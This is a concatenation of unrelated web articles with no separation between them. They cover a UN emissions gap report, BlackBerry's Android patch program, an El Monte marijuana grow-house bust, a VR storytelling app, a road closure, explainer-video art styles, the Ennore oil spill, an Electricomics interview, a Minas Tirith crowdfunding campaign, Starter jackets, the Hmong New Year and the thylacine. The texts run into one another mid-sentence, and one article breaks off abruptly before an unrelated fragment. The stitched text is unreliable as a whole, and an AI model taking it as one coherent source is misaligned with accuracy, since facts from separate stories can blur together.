The Paris Agreement aims to limit global warming to under 2oC, with a more ambitious goal of 1.5oC also on the table. The global average temperature is rising as a consequence of warming driven by ever higher greenhouse gas levels in the atmosphere, in response to the profligate global consumption of fossil fuels.
Meeting the Paris targets would reduce the likelihood of severe climate impacts that could damage human health, livelihoods and economies across the globe.
But the report does suggest practical ways to make deeper and more rapid cuts in emissions through rapidly expanding action to reduce them, based on existing options in the agriculture, buildings, energy, forestry, industry and transport sectors.
Strong action on other climate warmers – such as hydrofluorocarbons, through the Kigali Amendment to the Montreal Protocol, and other short-lived climate pollutants such as black carbon – could also make a real contribution. The Amendment aims to phase out the use and production of hydrofluorocarbons – chemicals primarily used in air conditioning, refrigeration and foam insulation.
“One year after the Paris Agreement entered into force, we still find ourselves in a situation where we are not doing nearly enough to save hundreds of millions of people from a miserable future,” said Erik Solheim, head of UN Environment.
“This is unacceptable. If we invest in the right technologies, ensuring that the private sector is involved, we can still meet the promise we made to our children to protect their future. But we have to get on the case now.”
Emission peak
CO2 emissions have remained stable since 2014, driven in part by renewable energy, notably in China and India, raising hopes that emissions have peaked, as they must by 2020 to remain on a successful climate trajectory.
But the report warns that other greenhouse gases, such as methane, are still rising, and a global economic growth spurt could easily see CO 2 emissions heading upwards again.
On 30 October the World Meteorological Organisation reported that atmospheric concentrations of CO2 rose at record speed in 2016 to their highest level in 800,000 years. The abrupt changes in the atmosphere witnessed in the past 70 years, it said, are unprecedented.
The Emissions Gap report says current Paris pledges make 2030 emissions likely to reach 11 to 13.5 gigatonnes of carbon dioxide equivalent (GtCO 2 e) above the level needed to stay on the least-cost path to meeting the 2oC target. One gigatonne is roughly equivalent to one year of transport emissions in the European Union (including aviation).
The emissions gap in the case of the 1.5oC target is 16 to 19 GtCO 2 e, higher than previous estimates as new studies have become available.
Slackening momentum
“The Paris Agreement boosted climate action, but momentum is clearly faltering,” said Dr. Edgar Gutiérrez-Espeleta, minister of environment and energy of Costa Rica, and president of the 2017 UN Environment Assembly.
Avoiding new coal-fired power plants, and faster phasing out of existing ones, would help. There are an estimated 6,683 operating coal-fired power plants in the world, with a combined capacity of 1,964 GW.
If they work until the end of their lifetimes and are not retrofitted with carbon capture and storage (a controversial and still commercially unproven technology), they will emit an accumulated 190 Gt of CO 2.
In early 2017, an additional 273 GW of coal-fired capacity was under construction and 570 GW planned. These new plants could lead to additional accumulated emissions of approximately 150 Gt CO 2. Ten countries make up approximately 85% of the entire coal pipeline: China, India, Turkey, Indonesia, Vietnam, Japan, Egypt, Bangladesh, Pakistan and the Republic of Korea.In our first blog on PRIV privacy and security, we talked about how protecting the privacy of users goes far beyond the engineering we’ve done to harden the device across all layers of hardware, firmware, and software. Android is a complex, rapidly changing, massively popular, open source product, which makes it an attractive and fertile target for attackers. BlackBerry’s security research team is constantly examining the firmware and software content in new releases to locate and address even more Android problems before they can cause harm.
(Also read “PRIV is for Private” and this deep dive into privacy monitoring app, DTEK, both by my colleague, Alex Manea.)
Android also demands world-class security incident response, and BlackBerry has a long history delivering that to customers with the highest value resources under their (and hence our) protection. A critical part of our response strategy is the Android vulnerability patch program – second to none in the industry. In this blog, we’ll provide more detail on this program, which is comprised of three new initiatives:
Android monthly security update process “hotfix” patching Enterprise-managed updates
Android Monthly Security Updates
Each month Google releases to BlackBerry and other Android OEMs a security bulletin containing a list of recently discovered Android vulnerabilities. Approximately one month later, Google exposes these in the public domain, so it is critical that BlackBerry release software in advance of public disclosure. BlackBerry will release these monthly updates to users that have purchased PRIV through shopblackberry.com and to PRIV resellers (carriers and other authorized dealers) that have agreed to participate in our regular monthly update program and facilitate rapid approval of our monthly updates for over-the-air (OTA) to subscribers.
Hotfix
Some critical Android vulnerabilities – for example, one that can be easily and remotely exploited with a publicly disclosed method to execute “root” privileged malware – simply can’t wait for a monthly update cycle. Depending on the severity of the problem, complexity of the fix, and timing relative to the monthly update cycle, BlackBerry will opt to perform a hotfix, where the code to address only the specific critical problem is pushed to customers. Because a hotfix is typically limited in scope, the balance between a longer testing and approval process and the risk from the critical flaw makes this approach an important addition to helping keep users safe and secure. While BlackBerry will work with its go-to-market partners on approval and delivery of hotfixes, BlackBerry has the ability to directly patch all PRIV variants and will do so when necessary to protect users and enterprises.
Enterprise-Managed Updates
Historically, IT has managed the delivery of OS updates to business PCs. By controlling when and to which devices and users that patches are delivered, IT can avoid expensive software incompatibilities and ensure that the security issues most important to the business are mitigated. In the mobile world, enterprises have lost this control. BlackBerry aims to bring back this control through BlackBerry Enterprise Server (BES) and OTA management systems.
PRIV by BlackBerry is leading the Android smartphone world in privacy and security. This leadership requires tremendous resources and hard-earned expertise in protecting users that go far beyond the engineering of the device itself. Setting the bar in incident response and patch management is a critical part of the BlackBerry end-to-end Android privacy strategy.When Los Angeles deputies responded to a burglary-in-progress call in El Monte, they had no idea they'd be stumbling across one of the biggest marijuana grow houses in the city's history.
On Saturday morning, four men and a teen boy were caught trying to break in to what seemed to be an abandoned warehouse on Continental Avenue. Instead of guns or other weapons, the thieves were armed with gloves and clippers, reports NBC LA. Their getaway car? A U-Haul.
Eventually, one of the suspects tipped authorities off about their intended target: over 3,000 marijuana plants valued at around $1 million. After obtaining a search warrant, El Monte police entered the warehouse to carry out what is being touted as "the biggest drug bust in El Monte history."
KTLA's look inside the El Monte warehouse plantation reveals a secret 3-foot high crawl space where a guard was stationed to watch the door through an air-conditioning vent. Inside, a sophisticated system of lighting and irrigation nurtured thousands of marijuana plants that were just three weeks away from harvest. Finally, the growers evaded detection by sourcing their electricity directly from underground wires, which authorities believe enabled them to steal $10,000 of electricity per month.
One of the robbery suspects alleges that the grow house belongs to his family, who was cutting him out of the profits. He had wrangled four friends to help him claim his share. From the Daily News Wire Service:
Benjamin Kwok, 37, of San Gabriel, Xing Xi He, 24, of Baldwin Park, Louie Frank Fraijo, 28, also of Baldwin Park, Raymond Guan, 29, of Rosemead and a 17-year-old boy from San Gabriel were all arrested and booked for commercial burglary...For a while now, one of my favorite Oculus Rift DK2 demos to show people has been The Rose and I. Developed by Penrose Studios, a VR studio founded by former Oculus Story Studio head Eugene Chung, the experience flexes the boundaries of the DK2’s tracking system, allowing you to walk around the virtual space a bit. The freedom of movement in the app allows the user to direct the way they view the story, assigning meaning and agency to the user. It is a powerful, albeit simple, demonstration of the power of positionally tracked storytelling. So how the heck is it coming to the Gear VR, a platform that doesn’t have any positional tracking (unless you hack it in)?
That was the challenge faced by Penrose Studios when creating the Rose app for Gear VR. Their solution? A new, innovative system the studio is calling “Torbit.”
Torbit, or Touch Orbit, is fairly simple. The developer places an anchor point in the scene, in this case, the planet. From there a user simply touches the pad and rotates their head in the direction they want to go, and the scene spins along the anchor point’s axis. For example you might start with the ‘front’ of the planet facing you, but you want to get a better look at the character’s expressions from the opposite angle. You would simply touch the pad and rotate your head left or right and you would orbit around the planet to the other side, same with motions on the x and y-axis. You are also able to “lean” in and out of objects by pressing up or down on the touchpad. The experience takes a second to get used to, but once you do it feels natural and works as a great solution for certain types of content.
The Rose app will launch with a toned down preview version of the full Rose and I experience, which will premiere at the Sundance Film Festival on a desktop based VR platform that will be named at a later date. In order to make the experience run on the Gear VR the team had to significantly tone down the complexity of the scenes. “The graphics unit of the Galaxy S6 is 150 times less powerful than the Titan Black Graphics Cards that we are using on our PCs,” the studio said in a prepared statement. “We had to make various optimizations, such as the use of unlit materials and dot product lighting. We also had to make judicious decisions to reduce, or in some cases cut out, parts of the |
There just isn’t much time left for him to extend,” he said.
The city won’t open the hill with partial construction still happening because it’s too narrow to close lanes and still have decent traffic flow, Moore says.
Since the closure, some have bemoaned the wait times on other routes heading up the Mountain. Moore says West 5th has been clogging the most, though the Jolley Cut and Claremont Access have been flowing “pretty well.”
“When you take away one link that handles upwards of 20,000 vehicles a day, you’re going to see congestion.”With video content accounting for well over 75% of consumed content online, it is not surprising that you will have watched many videos. Some you have long forgotten but then there’s those occasional rare gems that you fondly think back to and even have saved as a favourite or shared with colleagues. Those are the videos you should strive to create.
No one wants to put time and effort into something to be ‘forgotten’, be bold but be honest, really consider why you want a video in the first place. If it’s to train and educate, then great, keep it factual and clear and use imagery to re-enforce your message. If it’s to attract new customers, build awareness and drive traffic, then more than ever you want to strive for something that stands out from the crowd.
Of course you want to remain true to your brand and company ethos, and it’s impossible for anyone to say doing a video in a certain way will guarantee it going viral, there are no guarantees. Viral by it’s very nature is an uncontrollable beast, all you can do is push the boundaries of creativity, be original and be bold.
I had best stop there as we are going slightly off-topic, perhaps a post for another day. So back to the main objective of this article; to explore why creating artwork and animating in a particular way can have a dramatic affect on the production costs. Aside form the length of video, there are three very clear factors that effect the price, one is the art style, the second is the animation Style and the third consideration is always given to the ‘amount’ of each. Here I aim to explore these 3 main factors over the course of 3 separate articles, in the hope you become better informed when planning your video.
If we tackle the art style first, as this would be the natural first piece of the puzzle when it comes to planning how your video will look and animate. Now art is a very subjective thing, so there are no true rights or wrongs when it comes to how best to approach explainer videos. More often than not you decide upon a ‘look’ for your video because you personally find it pleasing to the eye, or that it matches your brand and that you can see your target audience relating to it. So this is always a good place to start, understanding what you like and what you don’t like provides a good foundation to start researching and building ideas.
I would always look at the client brand, the colours within the logo, the style of font, if I look at their website and social media what does this tell me about the company. A lot can be learned by really looking at how the client is presenting itself.
With my creative head on, I would ideally love an endless budget to be super creative and really experiment with ideas and creativity. But then the commercial side of the brain kicks in and reality hits home that there is always going to be a budget and an expectation, the trick is to produce something that meets both. So if we ignore working within a given budget for the moment, and look at 3 clearly different art styles and break these down to understand why one can be easier to work with than another and how this can effect the production budget.
In the image below, I have drawn a single character in 3 slightly different ways.
If we look at style A, the colours are solid and clean with no outline shapes, this gives the character a more ‘computer generated’ feel rather than too hand drawn and is quite a common style used in explainers. This style is also preferred by many studios as it can be created using programmes like Adobe Illustrator, with only a keyboard and mouse without needing drawing skills. Plus achieving a more ‘drawn’ technique requires more expensive equipment such as the Wacom Cintiq style screens where you can draw digitally direct onto the screen.
You will notice within style A the arms and legs merge into the body in a way that you cannot see any actual joins or defining lines such as line creases or stitching. So this makes it very easy to position body parts. The body itself is a single shape with the face and clothing having very little detail. Making these generic provides us with the opportunity to easily clone the main character to create additional characters without the need to create something new from scratch.
Style B has some noticeable changes such as more detail within the design of the character. The face has more features and provides more scope for expressions. The colour fill style now has a more textured and drawn feel adding a bit more depth to the character and bringing it to life. The body has been broken down into more parts with a head and torso with limbs being more defined and showing a clearer connection to the main body.
Style C has a much more drawn look, the character itself no longer feels like it is made of parts, feeling more organic. A more solid outline, in this case black, helps to define the character details and shape.Whilst an outline is not essential I used this here to demonstrates how it can effect the way a character can look.
This same principle can be applied to other assets (props) that need to be created. In the image below you can see 3 examples of the same prop, a filing cabinet which follow the same rules as the character described above with style A,B and C being progressively more complex and time consuming to create.
Creating characters, scenes and assets in style A would certainly be quicker as it requires less detailing and with the blocky colour fill objects can be made to look more stylised without the need to make them look too ‘real world’. Style B adds a bit more depth and character to the overall design but will certainly add to the cost of art working almost doubling the time it would take to create each asset. Then finally Style C which would require each asset to be drawn by hand, coloured by hand and textured.
When designing characters and assets, their complexity does not necessarily mean the animation needs to be complex too. In fact this is where things get really interesting as you can offset one against the other. Creating really complex artwork and doing only very subtle animation can look just as effective and cost the same as creating a simple stylised artwork with lots of animation.
Stay tuned for part 2 where we explore how these designs can impact the animation style.Pollution
The Pollution Control Board says sea water quality deteriorated and grease levels high in water.
On January 28, this year, at around 4 am, two ships- the inbound vessel MT Dawn Kanchipuram and the outbound vessel MT BW Maple- collided near the Kamarajar port at Ennore.
MT Dawn sustained damages to its heavy fuel tank leading to an oil spill in the sea- the oil sludge deposits would spread over 40 km along the coast in the coming days.
The vessel had 32,000 tonnes of oil when the collision happened.
The first big lie was uttered four days after the spill, when port authorities told The News Minute that only close to 1 tonne of oil had spilled into the sea. However, the Indian Coast Guard had estimated that 20 metric tonnes of oil would have originally leaked from the ship.
Though other government agencies slowly started admitting that the damage was much more than what was projected by the Kamarajar port, the fact remains that port authorities underplayed the extent of the spill.
An affidavit submitted by the Tamil Nadu government to the National Green Tribunal, a copy of which TNM has accessed, states that the Indian Coast Guard reported a recovery of 187 tonnes of oil and sludge, 109 kilo litres (KL) of oil mixed with water and 81.5 tonnes of sludge following the spill.
Another report by the Indian Coast Guard says that "though the slick was estimated to be 02 tons, however post collection of oil sludge, it was observed to be more than 150 tons".
Who bore the brunt?
The Central Pollution Control Board in a notice to the Tamil Nadu Pollution Control Board says that it has been realized that the water was polluted due to the oil spill.
"The Central Pollution Control Board carried out an assessment of sea water quality along Ennore, Kasimedu fishing port, Marina and Besant Nagar beach and found that oil and grease were in the range 1.1 mg/l to 5.2mg/l which is in exceedance to the primary water quality criteria of 0.1 mh/l"
The CPCB also noted that marine aquatic life had been affected and sea water quality had deteriorated.
TN govt report to NGT
The TN government told NGT that there was no spillage of petroleum products, but only heavy fuel oil in the sea.
Most of the oil accumulated near Ramkrishna Nagar Kuppam beach and eventually spread to the coast line between Kasimedu fishing harbor and Tiruvottiyur, Marina beach, Elliot's beach, and the Tiruvanmiyur coastline up to Injambakkam village.
Thousands of people worked to contain and recover the oil spill at various sites including Ernavoor, Chennai Fishing Harbour,Marina beach, Besant Nagar, Kottivakkam, Palavakkam, Neelankarai and Injambakkam beaches.
In Chennai district alone, 3,636 workmen were deployed to clean up beaches and remove oil residues. They removed 30.1 tonnes of oil bearing sediments and sludge from Tondiarpet, Tripicane, Mylapore, Besant Nagar, and Tiruvanmiyur beaches till 4.2.2017.
According to the document, "It was reported that thereafter there was no oil spill deposition observed in coastal stretches of Chennai district".
208 tonnes of oil spillage sludge was removed from Ramakrishna Nagar Kuppam, Ernavoor on 08.02.2017 whereas 23.2 tonnes sludge mixed with sand was collected from Kottivakkam to Injambakkam villages of Kancheepuram District on 02.02.2017.
The government in its affidavit said that just after it got information on the spill, it tried to remove the oil and sludge using rope skimmers, oil skimmers, high pressure pumps and gully suckers.
"Since the oil remnants in the spill had hardened and it got transformed into a slimy sludge due to coagulation, difficulties were encountered in pumping the residues. Hence manual operation had to be resorted for removal of the oily sludge washed onshore and which got deposited on the boulders at Ramakrishna Nagar Kuppam, Ernavoor," it said.By Olly MacNamee
With the success of winning the Pipedream Comics’ Digital Comic App of the Year Award for App of the Year 2015 (and beating some impressive competition too) as well as Electricomics recent launch of its desktop app which we covered here, we thought it was about time we caught up with Leah Moore and sit down for a chat about all things Electricomics.
Olly MacNamee: Hi, Leah, and thanks for taking time out answer a few questions for us here on Bleeding Cool. Firstly, you’ve just announced the launch of a desktop app for even more opportunities to read your current batch of Electricomics. Given that you incorporate a lot of animation that is intrinsically linked to the actions of, say for example, tilting a tablet to activate a particular effect, will anything be lost in translation, so to speak, onto desktop?
Leah Moore: Ah you’ve spotted the flaw in our master plan! I did think the same thing when Giulia Alfonsi said she had finished the Desktop Reader, but then I read Sway, which is the only one with the feature you mention, and the solution she has for it is really neat and didn’t impede my enjoyment of it at all. I think that until we get the Android version out, which hopefully will be fairly soon, then this is a great way to include all the people who were left out by the iPad format at the start. All the comics look great on it actually; it’s fantastic to see them on a big monitor.
OM: What were the short-term goals for Electricomics and have you achieved them, do you think?
LM: The short term goals were to make the app, the comics and the Generator, and hook it all up so people could make their own, and that was it. We knew we didn’t have the budget for any more than that and at times we really weren’t sure if we had the funds to finish it all. We did though, mainly thanks to Ocasta and their impressive work ethic, they put in a lot of late nights to get it all out the door, so I owe them thanks.
OM: And, I suppose, the most obvious follow up to that is where do you see Electricomics going in the long-term? You do promote it as something of an online community don’t you, sharing free open source toolkits and the ability for anyone to produce their own online comic? Is it a truly digital democracy?
LM: Absolutely it is! We launched the Desktop Reader recently, so everyone with a laptop or desktop computer can read the comics. This was important to us because we were painfully aware that launching as an iPad only App risked alienating a huge part of our audience, and also the audiences of the creators we were trying to encourage to use the Generator.
Giulia Alfonsi started coding the Desktop Reader while waiting for her train home from Thought Bubble, after talking to comics’ creators for two days. She saw they needed a wider platform than just the iPad before they would invest time in making the comic.
One day we will get to a place where people can log in, publish their comics, follow each other, follow a title, and upload issues etc, but for now I am so happy to be where we are. We have just over twenty comics made by our users, in our Library page, for anybody to read. They are so varied, and so imaginative. The quality of them has been a real eye-opener for me. I knew people would enjoy messing about with it, but I did not expect the results to be so exceptional.
Tompte is a real talent, any of his are worth a read, and S James Abbott is really taking to it too. @BiblicalComix are using Electricomics to publish all kinds of stuff, including a weekly series called Stoners, and soon a full 22 page issue which will be a first for us.
Electricomics is now a Community Interest Company, which means we legally have to put the profits we might make back into the company in a way that directly benefits the comics’ community. This also sadly means I’m prevented from running off to Antigua with the petty cash tin. You are all stuck with me!
OM: What else can users find on the Electricomics webpage beyond the comics and the tools to create your own? What about the research you’ve just made available too users?
LM: Our Final Report is up on the site, as is the link to the full footage of ‘The Comic Electric- A digital comic symposium’ which we held at The University of Hertfordshire, organized by Dan Goodbrey and Alison Gazzard, our research team. The day had fourteen speakers on digital comics covering every angle, and from all corners of the globe. Its all up on YouTube, and there is a storify of the slides used, so folks can dig in! I am going to blog the interviews Alison did with the creative team during the project, and also some I did with them toward the end of the project. There is a ton of material, so the challenge is just making it presentable, so its not just huge chunks of text.
OM: How do you see digital comics developing in the future? I mean, with the added element on animation it is, arguably, a different experience of reading and therefore, possibly, not the death knell of the printed word (or comic) that many feared.
LM: I don’t see it as the end of print at all. I see it as the beginning of a completely different hybrid medium. The way that digital comics can include movement, or sound or animation and still give the reader the control over the speed they read, and to go forward or back, that makes it unique. When you read a digital comic, the drama and pacing is often greatly heightened because the panels are often delivered one at a time, so its the ultimate turnover, but also you have the flexibility to suddenly go huge, to pull back, or switch direction completely. Digital comics are exciting, and have so much uncharted territory still but they can’t replace print comics. That’s like saying films will replace novels, or that plays will replace radio. Digital comics is a new hybrid medium, not a content repackaging stunt, or a marketing technique.
OM: Other than the obvious collaborator, your dad, how did you get the likes of Garth Ennis onboard? I hear his script was something of a catalyst for change when it comes to your own dad’s writing style.
LM: Dad wanted to get Garth onboard so he just asked him to do it. I sent a great big email with all the things we were aiming for with the technology, and all the things he might want to do with his comic, but in the end he stuck to what he does best, and his comic is really simple and clean and perfect that way. It’s proof that you don’t need a lot of added features to make a digital comic worth reading.
Yes, Garth has had a profound effect on dad’s workflow. Dad read a part of one of Garth’s scripts, where he described two planes engaged in a dogfight in the sky, but got it all into a couple of incredibly succinct almost poetic, perfect lines. Dad has always written a Full Script, which he always told me came from his never knowing who might be drawing his story, back in the day, and so if he wrote in every single little detail, and where it all was in the panel, the artist couldn’t go wrong, and the result would be as he’d intended. Looking at his catalogue of work, this approach must have worked, but some artists must have wondered why he took two pages to describe one page of comic.
He had this moment reading Garth’s script where the scales fell from his eyes, and he realized he could probably trust the artist to know what he meant, especially if he wrote in an evocative but concise way, like Garth does. He has done so ever since, and said it has more than halved the time it takes him to write a script. Who knew, eh?
OM: And finally, with big names and new faces hanging around on Electricomics, what would be your overall philosophy behind this brave new world venture of yours and your partners?
LM: We want to give comics creators the same ability to self publish and maintain control of their creations that the Small Press now has with Print. The cost of print has tumbled in the last ten years with Eastern Europe and China able to undercut traditional print options. Electricomics hopes to do that for digital comics. We want anybody to be able to make a digital comic that is as powerful and entertaining as one put together by a big company, and then publicize and distribute it as they see fit. Rather grand aspirations, some might say, but then would it be an Alan Moore project without them?
Olly MacNamee teaches English and Media, for his sins, in a school somewhere in Birmingham. Some days, even he doesn’t know where it is. Follow him on twitter @ollymacnamee or read about his exploits at olly.macnamee@blogspot.co.uk. Or don’t..
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None foundAttention Lord of the Rings fans: Minas Tirith might be real — eventually.
A self-professed “ambitious team of architects and structural engineers” has launched a crowdfunding campaign to raise the necessary funds to build the fictional city created by J.R.R. Tolkein and visualized by Peter Jackson in his cinematic version of Lord of the Rings.
The architects ran the numbers and realized they would need approximately £1.85 billion (about $2.82 billion USD) to fully fund the project. Any leftover money would be used for the upkeep and maintenance of the new city of Minas Tirith and was projected to last until 2053. On their Indiegogo page, the team wrote, “We believe that, in realising Minas Tirith, we can create not only the most remarkable tourist attraction on the planet, but also a wonderfully unique place to live and work.”
The team has given themselves 60 days to raise the cash, which is as steep a climb as the stairs of Minas Tirith will be when the project reaches completion. To encourage donation, they’ve set up some attractive rewards. If you donate £100,000 ($155,800 USD) you earn the title of Lordship or Ladyship of the City, while a mere £3 (around $4.70 USD) donation gets you a follow on Twitter. At the time of publication, the Indiegogo campaign had raised more than £16,000 ($24,000 USD), but still had 48 days to raise the rest.
PHOTOS: See the 13 Actors Who Play the Dwarfs in 'The Hobbit' Warner Bros.; Anita Bugge—WireImage—Getty Images Warner Bros.; Gregg DeGuire—WireImage/Getty Images Warner Bros.; Tschiponnique Skupin—Geisler-Fot/picture-alliance/dpa/AP Warner Bros.; Dave J Hogan—Getty Images Warner Bros.; David Livingston—Getty Images Warner Bros.; Ben A. Pruchnie—Getty Images Warner Bros.; Ray Tamarra—Getty Images Warner Bros.; Ray Tamarra—Getty Images Warner Bros.; Joel Ryan—Invision/AP Warner Bros.; Ray Tamarra—Getty Images Warner Bros.; Ray Tamarra—Getty Images Warner Bros.; Anita Bugge—WireImage/Getty Images Warner Bros.; Jason Merritt—Getty Images 1 of 13 Advertisement
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Contact us at editors@time.com.It was exceptional to be a sports-obsessed child of the ’90s (ages 3 to 13) for 10 main reasons:
With all due respect to the first nine items on this list, no. 10, Starter jackets, is to Julie “The Cat”‘ Gaffney what nos. 1 to 9 are to Team Iceland.
I have three two of those things in my room presently (Matt Christopher Books, Ken Griffey Jr. Ken Griffey Jr. rookie card). The fact that a Starter jacket isn’t on that list sickens and embarrasses me. Why is it, though, when I envision a starter jacket hanging up in my closet, there’s no hesitation as to what kind it would be:
Charlotte Hornets — Teal/Purple
When I initially thought this, it made sense, because I once owned a Charlotte Hornets Starter jacket and wear a Charlotte Hornets T-shirt on a weekly basis. But there were other Starter styles around in the ’90s. I turned to Google in an attempt to remember what they were. That didn’t help too much.
Five of the first 20 Google image search results that were returned for me were Charlotte Hornets Starter jackets. To steal a phrase from Grantland’s Katie Baker, I mustn’t be the only one who thinks the Hornets getup is the “Starteriest Starter jacket.”
But why?
How did the Hornets Starter jacket ultimately become synonymous with the Starter jacket look? Why was it the ultimate jacket to have in the ’90s, and why does it currently carry with it the more nostalgia than, say, the Chicago Bulls or Oakland Raiders versions? Can we explain its meteoric rise?
Top 5 Reasons the Hornets Starter is No. 1
5. Charlotte, N.C.
Charlotte would be in last place if this was a “Top 10 Reasons,” “Top 15 Reasons,” or “Top 200 Reasons” list. Fact: The popularity of this jacket has nothing to do with the city of Charlotte. Call this South-on-South hate, but as an Atlantan, I wouldn’t live in Charlotte if you promised me a $1,000 a day and a lifetime supply of teal and purple color contacts. If there’s one thing I know, it’s that zero percent of this jacket’s success should be attributed to the quasi-decent city of Charlotte, North Carolina.
4. Hugo
Before there was Blake Griffin, there was Hugo. We all know the clip of Blake posterizing poor Timothy Mozgov by handballing it into the basket. Yes, Blake was doing this in 2010, but Hugo was pioneering it in ’91.
Here are a few quick stats:
Three-time NBA Mascot Dunk Contest Winner: 1991, 1992, 1993
Two-time Inside Stuff magazine “Best NBA Mascot” award recipient
Only known mascot to wear Jordans on a trading card
Sure it’s hard for kids and teenagers to truly connect with an insect and/or mythical creature that wears a teal bag over its entire body, but there’s no denying the excitement it brought to the franchise. (A word of warning, should you ever cross Hugo, NEVER bring up the New Orleans Hornets mascots, Air Hugo and Mini Air Hugo, in passing conversation. He took a lot of the blame for the collapsing of the franchise and slumped into a dark depression, but has been clean for two weeks now. We wouldn’t want to trigger any harmful behavior.) There were definitely a few kids led to the Hornets Starter by way of the flyness that was Hugo.
3. A New Franchise
Franchise teams are like freshman girls in college: They bring a level of excitement to the scene, they go out of their way to stand out, and they get a comically large amount of positive attention, even when they publicly embarrass themselves on a consistent basis. (Yes, in this analogy, we, the consumers = senior guys.) The way the Hornets began their history (and ended the ’80s) was abysmal, but based on the masses of senior guys that came out to watch these freshman girls miss layups, turn the ball over, and lose at an alarming rate, you would think they were playoff bound. It was apparent that newness was more important to popularity than success, and the groundwork laid in the late ’80s launched the Hornets’ fan-favoriteness into the stratosphere in the ’90s, once they actually started becoming a good team. There’s no surprise that the newness of the gear made the Hornets Starter extremely desirable, but at a much higher rate than the three other late ’80s expansion teams (Miami Heat, Orlando Magic, Minnesota Timberwolves). What separated the Hornets from the other three? Keep reading.
2. The Players
Kendall Gill. Muggsy Bogues. Larry Johnson. Alonzo Mourning. Glen Rice. Anthony Mason. Dell Curry.
All great basketball players, but for a few of them, their star power often went beyond the basketball court. Do you remember that episode of My Brother and Me with Gill? What about the fact that in Space Jam, two of the five NBA players who get their abilities stolen by the Monstars are Hornets (Bogues, LJ). Speaking of LJ:
The dilemma that consumers initially had with the Hornets was, “I need like six Hornets jerseys. What am I to do?” Enter Starter jackets, allowing you to simply show your love for an entire franchise. Yes, seeing a Gill jersey for sale would probably send me into anaphylactic shock, but the long-term decision to invest in a Hornets Starter jacket was easily the way to go. Based on their laughable start as a franchise, there’s no way anyone could have predicted the players on this team to practically reach cult-athlete status, but I’m certain the rag-tagness of the Hornets contributed to their popularity, and to the popularity of the jacket.
1. Teal & Purple
The outfit of the ’90s, without question, is a Charlotte Hornets Starter jacket with a Mighty Ducks snapback. There isn’t even a close second. The common thread between the two teams and their apparel: teal and purple. In the ’90s, these two colors were markedly different from some of the other popular Starter jackets (the Raiders’ black and silver, the Bulls’ red and black, the Cowboys’ blue and silver). Full gangs can (and have) mobilized around these Starter jackets. Never really heard much about teal-and-purple gangs terrorizing residential communities. You know why? It’s impossible to be in a bad mood when you are wearing teal and purple, especially when that teal and purple manifests itself in a Hornets Starter jacket. No one could have predicted the way in which the color scheme took off, but it was and still the main reason the Hornets jacket is the Starteriest Starter Jacket.
If you used to have one and have managed to hold on to it, bravo to you. If you’re like me and outgrew yours some years back, maybe today is the day you go and find one online, as to regain that happy feeling you had years ago. And if you’ve never owned a Charlotte Hornets Starter jacket, stop what you’re doing and go buy two, but only if you’re OK with being heavily complimented, being revered by your peers, pupils, and elders, and looking better than ever before.
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Contact us at triangle@grantland.comDec. 27, 2016, 12:28 AM GMT / Updated Dec. 27, 2016, 12:28 AM GMT By Frances Kai-Hwa Wang
The nation's largest annual Hmong-American celebration is now underway.
Founded in 1999, the Hmong International New Year began as a way for the local Hmong community to celebrate the new year and promote Hmong culture and heritage. The event, which opened Dec. 26 in Fresno, California, now attracts people from across the country, according to organizers.
Hmong-American women in traditional clothing at the 2015 Hmong International New Year in Fresno, California. Photo by Xiong VFX
According to Elk Grove Mayor Steve Ly, the nation's first Hmong-American mayor, the annual event attracts nearly 200,000 attendees. "It is the largest assembly of the Hmong ethnic group in the United States and perhaps in the world," Ly told NBC News, adding that he was "excited" to attend the event's opening day.
RELATED: For Nation's First Hmong Mayor, Life Is an 'American Story'
The week-long celebration features food booths, craft vendors, cultural performances, and competitions, including a Miss Hmong International beauty pageant, traditional dance competition, singing competition, and sports tournaments.
Seng Alex Vang at Hmong International New Year in Fresno, California. Courtesy of Seng Alex Vang
“Traditionally in Southeast Asia, villages celebrated the new year’s festival at the end of the harvest,” Seng Alex Vang, who teaches writing at the University of California, Merced and Asian-American studies at California State University, Stanislaus, told NBC News. “It is a significant cultural celebration for families and clan members to celebrate the New Year privately — often referred to as ‘Eating 30’ — and public festivals that include song, poetry, and courtship games for youth. Often after the New Year’s, it is common and expected for those who are of age to get married.”
Hmong-American communities celebrate the Hmong new year’s festival on different weekends from October through December, culminating in the week-long festival in Fresno, according to organizers.
“How Hmong Americans celebrate the New Years have changed over the past 40 years,” Vang said. “Today it is also a huge economic opportunity for small Hmong family businesses and vendors as well as a huge economic boost for the local economy.”
Follow NBC Asian America on Facebook, Twitter, Instagram, and Tumblr."Tasmanian tiger" redirects here. For the cricket team, see Tasmanian Tigers
An extinct species of carnivorous marsupial from Australia
The thylacine ( THY-lə-seen,[11] or THY-lə-syne,[12] also ;[13] (from Ancient Greek θύλακος thúlakos, “pouch, sack” + Latin -inus "-ine") (Thylacinus cynocephalus), now extinct, was the largest known carnivorous marsupial mammal, evolving about 4 million years ago. The last known live animal was captured in 1933 in Tasmania. It is commonly known as the Tasmanian tiger because of its striped lower back, or the Tasmanian wolf because of its canid-like characteristics.[14] It was native to continental Tasmania, New Guinea, and the Australian mainland.
The thylacine was relatively shy and nocturnal, with the general appearance of a medium-to-large-size dog, except for its stiff tail and abdominal pouch similar to a kangaroo, and dark transverse stripes that radiated from the top of its back, reminiscent of a tiger. The thylacine was a formidable apex predator[4], though exactly how large its prey animals were is disputed. Because of convergent evolution it displayed a form and adaptations similar to the tiger and wolf of the Northern Hemisphere, even though not related. Its closest living relative is either the Tasmanian devil or the numbat. The thylacine was one of only two marsupials to have a pouch in both sexes: the other is water opossum. The pouch of the male thylacine served as a protective sheath covering the external reproductive organs.
The thylacine had become extremely rare or extinct on the Australian mainland before British settlement of the continent, but it survived on the island of Tasmania along with several other endemic species, including the Tasmanian devil. Intensive hunting encouraged by bounties is generally blamed for its extinction, but other contributing factors may have been disease, the introduction of dogs, and human encroachment into its habitat.
Evolution [ edit ]
Canis lupus, are quite similar, although the species are only distantly related. Studies show that the skull shape of the red fox, Vulpes vulpes, is even closer to that of the thylacine.[15] The skulls of the thylacine (left) and the timber wolf,, are quite similar, although the species are only distantly related. Studies show that the skull shape of the red fox,, is even closer to that of the thylacine.
